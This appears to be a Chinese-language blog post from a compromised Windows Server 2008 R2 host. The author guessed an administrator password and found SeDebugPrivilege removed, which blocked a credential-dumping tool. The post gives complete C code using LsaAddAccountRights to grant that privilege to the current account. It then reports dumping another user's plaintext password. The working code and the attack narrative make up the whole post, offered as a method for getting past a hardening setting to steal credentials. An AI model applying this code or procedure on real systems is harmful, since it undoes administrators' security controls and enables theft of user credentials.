现在的位置: 首页 c/c++ >正文

为指定用户添加Windows特权的代码

人品好猜到了08r2某个本地管理员的密码,shell下runas执行getpassword却返回以下错误信息:

Authentication Id:0;6798000

Authentication Package:Negotiate

Primary User:administrator

Authentication Domain:xxx

OpenProcess : (0x00000005) 拒绝访问. 

n.a. (wdigest Error)

开始以为是UAC问题,执行whoami /all查看管理员组,显示为启用状态,Mandatory Label也是过了UAC的High。

BUILTIN\Administrators                                        Alias            S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者 

Mandatory Label\High Mandatory Level              Label           S-1-16-12288 必需的组, 启用于默认, 启用的组

之后注意到特权列表中居然没有SeDebugPrivilege,这服务器竟然把默认情况下administrators的Debug特权删掉了。翻了翻存档,找到了这段代码(前人之作,忘记出处是哪里了):

#include <stdio.h>
#include <windows.h>
#include <ntsecapi.h>
typedef LONG NTSTATUS;
#define NT_SUCCESS(status)((NTSTATUS)(status)>=0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
static void PrintWin32Error(char *message,DWORD dwMessageId)
{
    char *errMsg;
    FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,dwMessageId,MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPTSTR)&errMsg,0,NULL);
    printf("%s: %s",message,errMsg);
    LocalFree(errMsg);
    return;
}
static PVOID GetFromToken(HANDLE TokenHandle,TOKEN_INFORMATION_CLASS TokenInformationClass)
{
    DWORD needed=0;
    PVOID buf=NULL;
    DWORD error;
    BOOL errflag=FALSE;
    if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,NULL,0,&needed))
    {
        error=GetLastError();
        if(error!=ERROR_INSUFFICIENT_BUFFER)
        {
            PrintWin32Error("GetTokenInformation() failed",error);
            errflag=TRUE;
            goto GetFromToken_exit;
        }
    }
    if(NULL==(buf=calloc(needed,1)))
    {
        fprintf(stderr,"calloc(%u,1) failed\n",needed);
        goto GetFromToken_exit;
    }
    if(FALSE==GetTokenInformation(TokenHandle,TokenInformationClass,buf,needed,&needed))
    {
        PrintWin32Error("GetTokenInformation() failed",GetLastError());
        errflag=TRUE;
        goto GetFromToken_exit;
    }
GetFromToken_exit:
    if(errflag==TRUE)
    {
        if(buf!=NULL)
        {
            free(buf);
            buf=NULL;
        }
    }
    return(buf);
}
static BOOL AddPrivilege(LSA_HANDLE PolicyHandle,PSID AccountSid,LPWSTR PrivilegeName)
{
    BOOL ret=FALSE;
    LSA_UNICODE_STRING UserRights;
    USHORT StringLength;
    NTSTATUS status;
    if(PrivilegeName==NULL)
    {
        goto AddPrivilege_exit;
    }
    StringLength=wcslen(PrivilegeName);
    UserRights.Buffer=PrivilegeName;
    UserRights.Length=StringLength * sizeof(WCHAR);
    UserRights.MaximumLength=(StringLength + 1) * sizeof(WCHAR);
    status=LsaAddAccountRights(PolicyHandle,AccountSid,&UserRights,1);
    if(status!=STATUS_SUCCESS)
    {
        PrintWin32Error("LsaAddAccountRights() failed",LsaNtStatusToWinError(status));
        goto AddPrivilege_exit;
    }
    ret=TRUE;
AddPrivilege_exit:
    return(ret);
}
static BOOL AddCurrentProcessPrivilege(LPWSTR PrivilegeName)
{
    NTSTATUS status;
    BOOL ret=FALSE;
    LSA_HANDLE PolicyHandle=NULL;
    LSA_OBJECT_ATTRIBUTES ObjectAttributes;
    HANDLE CurrentProcessToken=NULL;
    PTOKEN_USER token_user=NULL;
    ZeroMemory(&ObjectAttributes,sizeof(ObjectAttributes));
    status=LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_ALL_ACCESS,&PolicyHandle);
    if(status!=STATUS_SUCCESS)
    {
        PrintWin32Error("LsaOpenPolicy() failed",LsaNtStatusToWinError(status));
        goto AddCurrentProcessPrivilege_exit;
    }
    if(FALSE==OpenProcessToken(GetCurrentProcess(),
        TOKEN_QUERY,
        &CurrentProcessToken))
    {
        PrintWin32Error("OpenProcessToken() failed",GetLastError());
        goto AddCurrentProcessPrivilege_exit;
    }
    if(NULL==(token_user=(PTOKEN_USER)GetFromToken(CurrentProcessToken,TokenUser)))
    {
        goto AddCurrentProcessPrivilege_exit;
    }
    if(FALSE==AddPrivilege(PolicyHandle,
        token_user->User.Sid,
        PrivilegeName))
    {
        goto AddCurrentProcessPrivilege_exit;
    }
    ret=TRUE;
AddCurrentProcessPrivilege_exit:
    if(NULL!=token_user)
    {
        free(token_user);
        token_user=NULL;
    }
    if(NULL!=CurrentProcessToken)
    {
        CloseHandle(CurrentProcessToken);
        CurrentProcessToken=NULL;
    }
    if(NULL!=PolicyHandle)
    {
        LsaClose(PolicyHandle);
        PolicyHandle=NULL;
    }
    return(ret);
}
int main()
{
    if(AddCurrentProcessPrivilege(L"SeDebugPrivilege")){printf("ok");}else{printf("err");}
}

添加特权之后再次runas执行,成功抓取到另一用户的明文。